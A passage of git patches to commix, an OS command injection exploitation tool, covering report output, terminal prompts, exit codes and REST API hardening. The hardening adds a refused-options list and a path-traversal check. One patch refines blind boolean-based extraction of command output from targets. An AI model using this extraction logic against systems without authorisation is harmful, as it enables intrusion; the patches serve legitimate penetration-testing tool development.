settings.REPORT_STARTED or (targets[0].get("started") if targets else ""), + "status": (settings.REPORT_JSON or {}).get("status") or settings.REPORT_STATUS_RUNNING, + "finished": (settings.REPORT_JSON or {}).get("finished", ""), + "requests": settings.TOTAL_OF_REQUESTS, + } + def _write_report_file(): directory = os.path.dirname(os.path.abspath(menu.options.report_json)) or "." handle, path = tempfile.mkstemp(dir=directory, prefix=".report-", suffix=".json") try: with os.fdopen(handle, 'w', encoding=settings.DEFAULT_CODEC) as output_file: - json.dump(settings.REPORT_JSON, output_file, indent=2, ensure_ascii=False) + json.dump(_report_document(), output_file, indent=2, ensure_ascii=False) os.replace(path, menu.options.report_json) except (IOError, OSError): if os.path.exists(path): diff --git a/src/utils/settings.py b/src/utils/settings.py index dc13a17020..43268f9a4b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -154,8 +154,9 @@ def print_bold_error_msg(err_msg): return _format_msg(ERROR_BOLD_SIGN, err_msg, bold=True) # Print critical error message -def print_critical_msg(err_msg): - record_issue("critical", err_msg) +def print_critical_msg(err_msg, record=True): + if record: + record_issue("critical", err_msg) return _format_msg(CRITICAL_SIGN, err_msg) # Print abortion message @@ -430,7 +431,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "218" +REVISION = "219" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -969,6 +970,12 @@ def single_whitespace_for(data=None): one cut short, from one that simply found nothing. """ REPORT_STARTED = "" + +""" +The reports of the targets a run has already finished with, so that a run over several of them +hands back all of them rather than whichever it happened to end on. +""" +REPORT_TARGETS = [] REPORT_STATUS_RUNNING = "running" REPORT_STATUS_COMPLETED = "completed" REPORT_STATUS_TIME_LIMIT = "time-limit" @@ -2713,7 +2720,7 @@ class END_LINE: "LPORT", "MAXLEN", "MAX_RETRIES", "METASPLOIT_PATH", "OOB_IGNORE_TIMEOUT", "OOB_POLL_INTERVAL", "OOB_PORT", "OOB_SCHEME", "OOB_SERVER", "OOB_TOKEN", "OOB_TRANSPORT", "PERFORM_CRACKING", "POST_CUSTOM_INJECTION_MARKER_CHAR", "PRE_CUSTOM_INJECTION_MARKER_CHAR", "RAW_HTTP_HEADERS", - "REPORT_JSON", "RHOST", "SKIP_CALC", "SKIP_SUBST", "SKIP_PARAMETERS_LIST", "SKIP_TECHNIQUES", "SRVPORT", + "REPORT_JSON", "REPORT_STARTED", "REPORT_TARGETS", "RHOST", "SKIP_CALC", "SKIP_SUBST", "SKIP_PARAMETERS_LIST", "SKIP_TECHNIQUES", "SRVPORT", "THREADS", "TIMEOUT", "TMP_PATH", "TOR_HTTP_PROXY_PORT", "URIPATH", "URL_PARAM_DELIMITER", "URL_RELOAD", "USER_DEFINED_PHP_DIR", "USER_DEFINED_PYTHON_DIR", "USER_DEFINED_PYTHON_INTERPRETER", "VERBOSITY_LEVEL", "WIN_PHP_DIR", "WIN_PYTHON_INTERPRETER", From 796739e6f50bd42e5cba522f862beed4fc76e184 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 16 Oct 2026 09:02:24 +0300 Subject: [PATCH 0891/1023] Replaced blank terminal input with the default answer used during execution --- src/utils/common.py | 1 + src/utils/settings.py | 18 +++++++++++++++++- 2 files changed, 18 insertions(+), 1 deletion(-) diff --git a/src/utils/common.py b/src/utils/common.py index 6d76acadcc..f67fd0a69e 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -94,6 +94,7 @@ def read_input(message, default=None, check_batch=True): def is_empty(): value = safe_input(settings.input_message(message)) if len(value) == 0: + settings.echo_default_answer(message, default) return default else: return value diff --git a/src/utils/settings.py b/src/utils/settings.py index 43268f9a4b..64e9bfd5a1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -371,6 +371,22 @@ def print_data_to_stdout(data): sys.stdout.flush() PROGRESS_LINE_OPEN = is_spinner_style and not has_lf and not is_done_marker +""" +Write back onto the line that was left blank the answer that blank stood for. + +An answer taken from a default is an answer the run acted on, and a line showing nothing is a line +that reads, afterwards, as though the question was never settled. Only where there is a terminal to +rewrite: anywhere else the line has already gone. +""" +def echo_default_answer(message, answer): + if answer is None or not sys.stdout.isatty(): + return + with PRINT_LOCK: + # Up one line and clear it - the answer was entered on the line the cursor has just left. + _stdout_write("\033[A\033[2K") + sys.stdout.flush() + print_data_to_stdout(print_message(str(message) + str(answer))) + """ Clear the current line before printing, without adding a blank line when already empty. """ @@ -431,7 +447,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "219" +REVISION = "220" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From fb0fd47cae99697d12bb1af923097ab0ffdd26fa Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 16 Oct 2026 09:09:00 +0300 Subject: [PATCH 0892/1023] Trivial update --- src/core/controller/checks.py | 7 +++++-- src/core/controller/handler.py | 8 -------- src/utils/settings.py | 8 +++++++- 3 files changed, 12 insertions(+), 11 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 338405ee7e..bd8fc49a2a 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -949,8 +949,11 @@ def testing_technique_title(injection_type, technique): settings.LAST_DOT_BUCKET = -1 technique = technique_label(injection_type, technique) announced = (settings.CHECKING_PARAMETER, technique) - title = "Continuing with the " if settings.LAST_ANNOUNCED_TECHNIQUE == announced else "Testing the " + # Said again where something came between the title and the testing it announced - the questions + # a file-based technique settles where it writes with, most of all. + title = "Continue testing the " if settings.LAST_ANNOUNCED_TECHNIQUE == announced else "Testing the " settings.LAST_ANNOUNCED_TECHNIQUE = announced + settings.LAST_ANNOUNCED_REQUESTS = settings.TOTAL_OF_REQUESTS if settings.VERBOSITY_LEVEL != 0: info_msg = title + technique + ". " settings.print_data_to_stdout(settings.print_info_msg(info_msg)) @@ -973,7 +976,7 @@ def injection_process(injection_type, technique, done=False, i=None, total=None) # close in that case: the technique was already announced, and that other output already # ended the line - neither re-announcing it nor a bare "(done)" with nothing before it on the # line says anything the user was not already told. - if done and already_announced: + if done and already_announced and settings.TOTAL_OF_REQUESTS == settings.LAST_ANNOUNCED_REQUESTS: settings.LAST_COMPLETED_TECHNIQUE = technique return testing_technique_title(injection_type, technique) diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index fd0a5046ae..18fff65842 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -129,14 +129,6 @@ def _prioritize_confirmed_boundary(prefixes, suffixes, separators, whitespaces): def _announce_technique(injection_type, technique): settings.CURRENT_TECHNIQUE = technique checks.tamper_scripts(stored_tamper_scripts=True) - """ - Where a file-based technique writes, and under what name, is settled before it sends anything - - and those questions would come between the title and the first probe, leaving a line that says - "please wait" with a prompt under it. So the title is left to that first probe, which is past - them, and the technique announces itself once. - """ - if settings.VERBOSITY_LEVEL == 0 and technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - return checks.testing_technique_title(injection_type, technique) """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 64e9bfd5a1..e6d3456dd3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -447,7 +447,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "220" +REVISION = "221" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -2189,6 +2189,12 @@ class END_LINE: # The (parameter, technique) last announced, so a re-announcement reads as "Continuing with". LAST_ANNOUNCED_TECHNIQUE = None +""" +How many requests had been sent when a technique announced itself, so that a line closed by +something else can be told apart by whether any testing actually happened after it. +""" +LAST_ANNOUNCED_REQUESTS = 0 + # The output file last announced, so the same one is not announced again for every separator tried. LAST_ANNOUNCED_OUTPUT_FILE = None From 8a745a68dbb40ce47303559bbc4b18dc62ffb401 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 16 Oct 2026 09:15:19 +0300 Subject: [PATCH 0893/1023] Revised the `--charset` option that now narrows the boolean-based technique's search as well, over the characters it names rather than the span they cover --- src/core/controller/checks.py | 15 +++++----- src/core/controller/controller.py | 2 +- src/core/parse/cmdline.py | 2 +- .../techniques/boolean_based/bb_handler.py | 30 ++++++++++++++++++- src/utils/settings.py | 7 ++++- 5 files changed, 44 insertions(+), 12 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index bd8fc49a2a..3b0b3436ca 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -6259,10 +6259,10 @@ def brute_force_web_roots(): return candidates """ -Resolve a numbered-menu answer: '--answers' is matched against the full question text (every -option's own words, not just the bare prompt actually shown), the same breadth sqlmap's own -answer-matching gets by searching its whole (there, multi-line) prompt - while what the operator -actually sees stays the short, single-line, readline-safe prompt handed in as 'prompt'. +Resolve a numbered-menu answer: '--answers' is matched against the full question text - every +option's own words, not just the bare prompt actually shown - so that an answer can be written +against any part of what was asked, while what the operator sees stays the short, single-line, +readline-safe prompt handed in as 'prompt'. """ def resolve_menu_choice(full_text, prompt, default): if settings.ANSWERS and any(_ in settings.ANSWERS for _ in ",="): @@ -6309,9 +6309,8 @@ def choose_web_root_candidates(): settings.print_data_to_stdout(Style.BRIGHT + question + Style.RESET_ALL) for option in options: settings.print_data_to_stdout(Style.BRIGHT + option + Style.RESET_ALL) - # '--answers' is matched against the full text above (every option's own words), the same breadth - # sqlmap's own answer-matching gets by searching its whole (there, multi-line) prompt - while the - # prompt actually shown stays the bare "> " sqlmap itself shows once a multi-line one is rendered. + # '--answers' is matched against the full text above, every option's own words included, while + # the prompt actually shown stays the bare "> " a rendered multi-line question leaves behind. choice = resolve_menu_choice(question + " " + " ".join(options), "> ", "1") if choice == "2": @@ -6340,7 +6339,7 @@ def choose_web_root_candidates(): """ Try to work out the web root from an absolute file path the target has already leaked somewhere in its own output - a PHP warning naming the script's own path is the most common way - checked -before ever asking the operator, the same order sqlmap's own web-root resolution follows. A match +before ever asking the operator, since an answer the target gave itself beats one guessed at. A match is cut right after whichever generic document-root name (or the target's own hostname) it carries, the same as the directory the target is actually using is named. """ diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index e1a60e8931..bde4f68021 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -1711,7 +1711,7 @@ def do_check(url, http_request_method, filename): checks.finish_target() logs.print_logs_notification(filename, url) common.show_http_error_codes() - raise SystemExit(settings.EXIT_FAILURE) + raise SystemExit(settings.EXIT_NOTHING_FOUND) elif settings.MULTI_TARGETS: checks.finish_target() logs.print_logs_notification(filename, url) diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index a56c531d35..8ad10b0932 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -150,7 +150,7 @@ def banner(): action="store", dest="charset", default=None, - help="Time-related injection charset (e.g. '0123456789abcdef').") + help="Blind injection charset (e.g. '0123456789abcdef').") general.add_option("--check-internet", action="store_true", diff --git a/src/core/techniques/boolean_based/bb_handler.py b/src/core/techniques/boolean_based/bb_handler.py index 833f9e6950..972c20eb4f 100644 --- a/src/core/techniques/boolean_based/bb_handler.py +++ b/src/core/techniques/boolean_based/bb_handler.py @@ -130,11 +130,34 @@ def question(candidate): """ One byte of the output, found by bisecting its ordinal. + +Over whatever pool the run is working with, which '--charset' narrows: a byte known to be one of a +handful of characters sits in a far shorter range than a printable one, and every halving of that +range is a request not sent. The same pool the time-related techniques read, so an answer given +once holds whichever of them ends up asking. """ def _byte_at(channel, cmd, position, payloads=None): payloads = payloads or checks.boolean_based_payloads() question = lambda candidate: payloads.get_char(channel.separator, cmd, position, candidate, operator="-le") - return _bisect(channel, question, min(settings.CHAR_POOL_MULTI), max(settings.CHAR_POOL_MULTI)) + char_pool = sorted(set(checks.generate_char_pool(position))) + low, high = char_pool[0], char_pool[-1] + # A pool with nothing missing between its ends is its own range: every answer inside it is one of + # its members, so the range is halved directly and the result needs no confirming. + if high - low + 1 == len(char_pool): + return _bisect(channel, question, low, high) + # Otherwise the gaps would be halved away too, which costs more questions than the pool has + # characters. The members themselves are halved instead - log2 of their number rather than of the + # span they are spread over - and one more question confirms the character found is the output's + # own, rather than the nearest one below it that the pool happens to hold. + index = _bisect(channel, lambda position_in_pool: question(char_pool[position_in_pool]), 0, len(char_pool) - 1) + if index is not None: + candidate = char_pool[index] + if _ask(channel, payloads.get_char(channel.separator, cmd, position, candidate, operator="-eq")): + return candidate + # The byte is not one of the pool's members, so it sits in one of the gaps the halving above + # skipped over. Found the long way rather than given up on: a charset is a statement about what + # the output is mostly made of, and a character it did not account for is still worth reading. + return _bisect(channel, question, low, high) """ The command's output, one byte at a time, each found by bisecting its ordinal. @@ -239,6 +262,11 @@ def _resolve(position): warn_msg += ("them" if len(failed_positions) != 1 else "it") + ", on a second attempt either) - " warn_msg += ("they are" if len(failed_positions) != 1 else "it is") + " marked '" warn_msg += settings.UNRESOLVED_CHAR + "' in the retrieved output below." + if menu.options.charset: + # Said here rather than left to be guessed at: a character the given charset leaves out cannot + # be found however many times it is asked for, and reads exactly like an oracle that misfired. + warn_msg += " The run was given '--charset', and a character the output holds but that set" + warn_msg += " leaves out is never found - which is what this looks like." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) output = _so_far() diff --git a/src/utils/settings.py b/src/utils/settings.py index e6d3456dd3..e05c83c733 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -447,7 +447,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "221" +REVISION = "222" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -2253,6 +2253,11 @@ class END_LINE: # finished. A run ending any other way - the user quitting, the work being done - still exits zero. EXIT_FAILURE = 1 +# What a run that tested everything it was asked to and found nothing exits with. Apart from the +# one above, because a caller gating on commix has to tell a target that came back clean from a +# scan that never got to look - both of which used to end the same way. +EXIT_NOTHING_FOUND = 2 + # Requests dropped on a timeout because '--ignore-timeouts' was given, counted for the run's summary. IGNORED_TIMEOUTS = 0 From 863d8e422e7bbfa87f2c9c79974bf4cd91c776dc Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 16 Oct 2026 09:17:08 +0300 Subject: [PATCH 0894/1023] Various fixes, improvements, and updates for REST API --- commixapi.yaml | 70 +++++++++++++++- src/utils/api.py | 181 +++++++++++++++++++++++++++++++++++++----- src/utils/settings.py | 2 +- 3 files changed, 230 insertions(+), 23 deletions(-) diff --git a/commixapi.yaml b/commixapi.yaml index 0337d7bba8..631a3ac373 100644 --- a/commixapi.yaml +++ b/commixapi.yaml @@ -13,7 +13,11 @@ info: * Options are the destinations of commix's own command-line options, with `-` read as `_`: `url` is `--url`, `flush_session` is `--flush-session`. A name the parser does not know is refused rather than kept. - * `report_json`, `output_dir` and `batch` are settled by the server and cannot be set. + * `report_json`, `output_dir` and `batch` are settled by the server, and setting them is + refused rather than ignored. + * Options that act on the host serving the API rather than on the target are refused too: + `--alert`, `-c`, `--save`, `--preprocess`, `--postprocess`, `--install`, `--update`, + `--purge`, and the switches that are not scans at all. * Something the server understood but would not do answers `200` with `success: false` and a `message`. Only authentication (`401`), an address that is not served (`404`), one asked for with the wrong method (`405`) and an unhandled failure (`500`) answer with a code of their @@ -43,6 +47,8 @@ tags: description: Reading and settling a task's options - name: Scans description: Running a task, and reading it while it runs + - name: Files + description: What a task produced - name: Admin description: Every task at once @@ -321,6 +327,68 @@ paths: items: { $ref: "#/components/schemas/LogLine" } "401": { $ref: "#/components/responses/Unauthorized" } + /download/{taskid}: + get: + tags: [Files] + operationId: listFiles + summary: Every file the task has to hand + description: >- + The options it was started with, the report, what it printed, and whatever the run itself + wrote - each by a path relative to the task's own directory, which is the path + `/download/{taskid}/{path}` takes. + parameters: [ { $ref: "#/components/parameters/TaskId" } ] + responses: + "200": + description: The files, by path. + content: + application/json: + schema: + allOf: + - $ref: "#/components/schemas/Success" + - type: object + properties: + files: + type: array + items: + type: object + properties: + path: { type: string, example: "output/localhost_8081/logs.txt" } + size: { type: integer, example: 2127 } + "401": { $ref: "#/components/responses/Unauthorized" } + + /download/{taskid}/{path}: + get: + tags: [Files] + operationId: downloadFile + summary: One of those files, as itself + description: >- + The only address that answers with something other than JSON. A path that resolves outside + the task's own directory is refused, however it is spelled. + parameters: + - { $ref: "#/components/parameters/TaskId" } + - name: path + in: path + required: true + schema: { type: string } + description: The file's path, as the listing above gives it. + responses: + "200": + description: The file. + headers: + Content-Disposition: + schema: { type: string } + description: 'attachment; filename="<the file''s own name>"' + content: + application/octet-stream: + schema: { type: string, format: binary } + "401": { $ref: "#/components/responses/Unauthorized" } + "404": + description: No such task, or no such file in it. + content: + application/json: + schema: + $ref: "#/components/schemas/Failure" + /admin/list: get: tags: [Admin] diff --git a/src/utils/api.py b/src/utils/api.py index 10587d2c18..0b453b6d2a 100644 --- a/src/utils/api.py +++ b/src/utils/api.py @@ -20,9 +20,12 @@ import json import signal import shutil +import socket +import mimetypes import secrets import tempfile import subprocess +import threading import contextlib from http.server import BaseHTTPRequestHandler @@ -55,6 +58,42 @@ What the server answers to, and what it answers with. """ API_VERSION = "1.0" + +# How long one request may hold a connection open, and the most of a body that will be read. A +# 'Content-Length' larger than what follows it would otherwise hold a worker forever waiting for +# the rest, which is a request that never arrives taking a thread with it. +REQUEST_TIMEOUT = 10 + +""" +Options a request may not set, because they act on the host serving the API rather than on the +target being scanned. + +A task is a scan of somebody else's machine, asked for over the network. These would make it a way +to run a command on this one, read or write a file of its choosing here, or change the installation +underneath it - none of which is what a scan is, and all of which a token for scanning should not +carry with it. +""" +REFUSED_OPTIONS = { + "alert": "runs a command on the host serving the API", + "config_file": "reads a file from the host serving the API", + "save_config": "writes a file to the host serving the API", + "preprocess": "runs a script on the host serving the API", + "postprocess": "runs a script on the host serving the API", + "install": "changes the installation serving the API", + "update": "changes the installation serving the API", + "purge": "erases the data of the host serving the API", + "wizard": "asks questions nobody is there to answer", + "smoke_test": "is not a scan", + "list_tampers": "is not a scan", + "dependencies": "is not a scan", +} + +""" +Options the server settles for every task, whatever it is asked. Refused rather than overridden, so +that what a task says it was given is what it was actually run with. +""" +SERVER_OWNED_OPTIONS = ("report_json", "output_dir", "batch") +MAX_BODY = 16 * 1024 * 1024 TASK_ID_BYTES = 8 LOG_LINE_REGEX = re.compile(r"^\[(?P<time>\d{2}:\d{2}:\d{2})\]\s+\[(?P<level>[a-z]+)\]\s+(?P<message>.*)$") @@ -85,6 +124,10 @@ def __init__(self, taskid, directory): self.directory = directory self.options = menu.parser.get_default_values().__dict__.copy() self.process = None + # Held across deciding whether a scan is running and acting on that answer: the server answers + # every request in a thread of its own, and two 'start' requests that both looked first would + # both start, leaving two runs writing one report and only the later of them stoppable. + self.lock = threading.Lock() self.config_file = os.path.join(directory, "options.ini") self.report_file = os.path.join(directory, "report.json") self.console_file = os.path.join(directory, "console.log") @@ -97,6 +140,10 @@ def set_option(self, name, value): option = _option(name.strip().lstrip("-").replace("-", "_")) if option is None: return "Unknown option '" + str(name).strip() + "'." + if option.dest in REFUSED_OPTIONS: + return "The option '" + (option._long_opts + option._short_opts)[0] + "' cannot be set over the API: it " + REFUSED_OPTIONS[option.dest] + "." + if option.dest in SERVER_OWNED_OPTIONS: + return "The option '" + (option._long_opts + option._short_opts)[0] + "' is settled by the server for every task." # Checked here rather than left for the run to refuse: a value the parser would not have taken # is a request that did not do what it was told it did. if option.action == "store" and not isinstance(value, bool) and value is not None: @@ -132,6 +179,12 @@ def start(self): stderr=subprocess.STDOUT, close_fds=not settings.IS_WINDOWS) console.close() + """ + Whether a scan is running under this task right now. + """ + def running(self): + return self.process is not None and self.process.poll() is None + """ Whether the process is still going, and what it ended with where it is not. """ @@ -144,19 +197,21 @@ def returncode(self): Ask the run to stop, so that it writes down what it has before it goes. """ def stop(self): - if self.process is None or self.process.poll() is not None: - return False - self.process.send_signal(signal.SIGTERM) - return True + with self.lock: + if not self.running(): + return False + self.process.send_signal(signal.SIGTERM) + return True """ End the process where asking did not. """ def kill(self): - if self.process is None or self.process.poll() is not None: - return False - self.process.kill() - return True + with self.lock: + if not self.running(): + return False + self.process.kill() + return True """ The report as it stands - a run still going writes it as it goes, so there is one either way. @@ -168,6 +223,36 @@ def data(self): except (IOError, OSError, ValueError): return None + """ + Every file the task has to hand, by a path relative to its own directory. + """ + def files(self): + found = [] + for root, _, names in os.walk(self.directory): + for name in names: + full = os.path.join(root, name) + try: + size = os.path.getsize(full) + except OSError: + continue + found.append({"path": os.path.relpath(full, self.directory).replace(os.sep, "/"), "size": size}) + return sorted(found, key=lambda entry: entry["path"]) + + """ + One of those files, by that same path - or nothing, where the path names something else. + + Checked by where it ends up rather than by how it is spelled: the name is the client's to choose, + and a task hands back what it produced rather than whatever else the host happens to hold. + """ + def file(self, path): + if not path: + return None + wanted = os.path.realpath(os.path.join(self.directory, path)) + directory = os.path.realpath(self.directory) + if wanted != directory and not wanted.startswith(directory + os.sep): + return None + return wanted if os.path.isfile(wanted) else None + """ The run's own log, as lines with the level each was printed at. """ @@ -260,8 +345,17 @@ def _forget(taskid): ("GET", r"^/scan/(?P<taskid>[0-9a-f]+)/status$", "scan_status"), ("GET", r"^/scan/(?P<taskid>[0-9a-f]+)/data$", "scan_data"), ("GET", r"^/scan/(?P<taskid>[0-9a-f]+)/log$", "scan_log"), + ("GET", r"^/download/(?P<taskid>[0-9a-f]+)$", "download_list"), + ("GET", r"^/download/(?P<taskid>[0-9a-f]+)/(?P<path>.+)$", "download"), ) +""" +A file to be handed back as itself, where every other answer is JSON. +""" +class _Download(object): + def __init__(self, path): + self.path = path + """ What every endpoint answers with, so that a client reads one shape whatever it asked for. """ @@ -331,7 +425,7 @@ def option_set(self, taskid=None, body=None, **_): return _no("Unknown task.") if not isinstance(body, dict) or not body: return _no("No options given.") - if task.returncode() is None and task.process is not None: + if task.running(): # Refused rather than kept: the running scan was handed its options when it started, so one # set now would read as having changed something it cannot reach. return _no("That scan is running, and a scan is given its options once, when it starts.") @@ -345,16 +439,19 @@ def scan_start(self, taskid=None, body=None, **_): task = Store.tasks.get(taskid) if task is None: return _no("Unknown task.") - if task.returncode() is None and task.process is not None: - return _no("That scan is already running.") - for name, value in (body or {}).items(): - refused = task.set_option(name, value) - if refused: - return _no(refused) - if not any(task.options.get(_) for _ in ("url", "logfile", "bulkfile", "requestfile", "sitemap_url", "openapi")): - return _no("Nothing to scan: none of 'url', 'logfile', 'bulkfile', 'requestfile', 'sitemap_url' or 'openapi' was set.") - task.start() - return _ok(engineid=task.process.pid) + # Decided and acted on under the task's own lock, so that one of several requests arriving + # together starts the scan and the rest are told it is already running. + with task.lock: + if task.running(): + return _no("That scan is already running.") + for name, value in (body or {}).items(): + refused = task.set_option(name, value) + if refused: + return _no(refused) + if not any(task.options.get(_) for _ in ("url", "logfile", "bulkfile", "requestfile", "sitemap_url", "openapi")): + return _no("Nothing to scan: none of 'url', 'logfile', 'bulkfile', 'requestfile', 'sitemap_url' or 'openapi' was set.") + task.start() + return _ok(engineid=task.process.pid) def scan_stop(self, taskid=None, **_): task = Store.tasks.get(taskid) @@ -388,6 +485,21 @@ def scan_data(self, taskid=None, **_): errors = [issue for target in report.get("targets", []) for issue in target.get("errors", [])] return _ok(data=report, error=errors) + def download_list(self, taskid=None, **_): + task = Store.tasks.get(taskid) + if task is None: + return _no("Unknown task.") + return _ok(files=task.files()) + + def download(self, taskid=None, path=None, **_): + task = Store.tasks.get(taskid) + if task is None: + return _no("Unknown task.") + wanted = task.file(_urlparse.unquote(path or "")) + if wanted is None: + return _no("No such file in that task.", code=404) + return 200, _Download(wanted) + def scan_log(self, taskid=None, query=None, **_): task = Store.tasks.get(taskid) if task is None: @@ -433,6 +545,7 @@ def _number(name): class Handler(BaseHTTPRequestHandler): server_version = settings.APPLICATION + "/" + str(settings.VERSION) api = Api() + timeout = REQUEST_TIMEOUT # Nothing to a terminal: a server that narrates every poll buries what it was asked to say. def log_message(self, *args): @@ -479,14 +592,23 @@ def _body(self): length = int(self.headers.get("Content-Length") or 0) except ValueError: return None - if length <= 0: + if length <= 0 or length > MAX_BODY: + return None + try: + body = self.rfile.read(length) + except (socket.timeout, OSError): + # Promised more than was sent. The connection is given up on rather than waited on. + return None + if len(body) != length: return None try: - return json.loads(self.rfile.read(length).decode(settings.DEFAULT_CODEC)) + return json.loads(body.decode(settings.DEFAULT_CODEC)) except (ValueError, UnicodeDecodeError): return None def _answer(self, code, answer): + if isinstance(answer, _Download): + return self._answer_file(answer.path) body = json.dumps(answer, indent=2, ensure_ascii=False).encode(settings.DEFAULT_CODEC) self.send_response(code) self.send_header("Content-Type", "application/json") @@ -494,6 +616,23 @@ def _answer(self, code, answer): self.end_headers() self.wfile.write(body) + """ + Hand back a file, opened before anything is said: once a status line has gone out there is no + taking it back, and a file that cannot be read would answer 200 to a request it never served. + """ + def _answer_file(self, path): + try: + handle = open(path, "rb") + except (IOError, OSError) as err_msg: + return self._answer(*_no(str(err_msg), code=500)) + with handle: + self.send_response(200) + self.send_header("Content-Type", mimetypes.guess_type(path)[0] or "application/octet-stream") + self.send_header("Content-Length", str(os.fstat(handle.fileno()).st_size)) + self.send_header("Content-Disposition", 'attachment; filename="' + os.path.basename(path) + '"') + self.end_headers() + shutil.copyfileobj(handle, self.wfile) + """ Serve the API until it is stopped. """ diff --git a/src/utils/settings.py b/src/utils/settings.py index e05c83c733..604de80f1e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -447,7 +447,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "222" +REVISION = "223" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From d23f7beb23fbbe61db8f1cf6b197b58ebf3e8c03 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 16 Oct 2026 09:18:07 +0300 Subject: [PATCH 0895/1023] Various fixes, improvements, and updates --- src/core/controller/checks.py | 12 +++++++++++- src/utils/settings.py | 16 +++++++++------- 2 files changed, 20 insertions(+), 8 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 3b0b3436ca..cda4d0db4a 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -952,6 +952,8 @@ def testing_technique_title(injection_type, technique): # Said again where something came between the title and the testing it announced - the questions # a file-based technique settles where it writes with, most of all. title = "Continue testing the " if settings.LAST_ANNOUNCED_TECHNIQUE == announced else "Testing the " + if settings.LAST_ANNOUNCED_TECHNIQUE != announced: + settings.LAST_RESUMED_TECHNIQUE = None settings.LAST_ANNOUNCED_TECHNIQUE = announced settings.LAST_ANNOUNCED_REQUESTS = settings.TOTAL_OF_REQUESTS if settings.VERBOSITY_LEVEL != 0: @@ -970,7 +972,8 @@ def injection_process(injection_type, technique, done=False, i=None, total=None) if settings.VERBOSITY_LEVEL != 0: return if not settings.PROGRESS_LINE_OPEN: - already_announced = settings.LAST_ANNOUNCED_TECHNIQUE == (settings.CHECKING_PARAMETER, technique_label(injection_type, technique)) + announced = (settings.CHECKING_PARAMETER, technique_label(injection_type, technique)) + already_announced = settings.LAST_ANNOUNCED_TECHNIQUE == announced # The line only closed because something else legitimately printed over it (e.g. a Y/n prompt # deciding there is nothing left to try), not because testing moved on. Nothing is left to # close in that case: the technique was already announced, and that other output already @@ -979,6 +982,13 @@ def injection_process(injection_type, technique, done=False, i=None, total=None) if done and already_announced and settings.TOTAL_OF_REQUESTS == settings.LAST_ANNOUNCED_REQUESTS: settings.LAST_COMPLETED_TECHNIQUE = technique return + # Said a second time where something came between the title and the testing it announced, and + # only a second time: a technique that stops to ask again, and again, would otherwise repeat + # the line for every question. Until there is an ending to report, nothing more is said. + if already_announced and settings.LAST_RESUMED_TECHNIQUE == announced and not done: + return + if already_announced: + settings.LAST_RESUMED_TECHNIQUE = announced testing_technique_title(injection_type, technique) if done: # Can be hit once per false-positive retry on the same technique - only print once. diff --git a/src/utils/settings.py b/src/utils/settings.py index 604de80f1e..237a313b4a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -274,8 +274,6 @@ def reset_terminal_style(): No timestamp and no sign: what was retrieved is the answer, not a step towards it, and it reads apart from the running log for that. Quoted, so a value that is empty or padded is still visible. -Long or multi-line content is printed as its own block right under the label, plainly - nothing here -needs a border of its own to be read correctly. """ def print_retrieved_data(label, retrieved, quoted=True): text = str(retrieved) @@ -283,10 +281,7 @@ def print_retrieved_data(label, retrieved, quoted=True): text = text[:-2] elif text.endswith(END_LINE.LF): text = text[:-1] - if END_LINE.LF in text or len(text) > MAX_INLINE_VALUE_LENGTH: - body = SINGLE_WHITESPACE + (END_LINE.LF + "'" + text + "'" if quoted else text) - else: - body = SINGLE_WHITESPACE + ("'" + text + "'" if quoted else text) + body = SINGLE_WHITESPACE + ("'" + text + "'" if quoted else text) return label + ":" + body + Style.RESET_ALL """ @@ -447,7 +442,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = 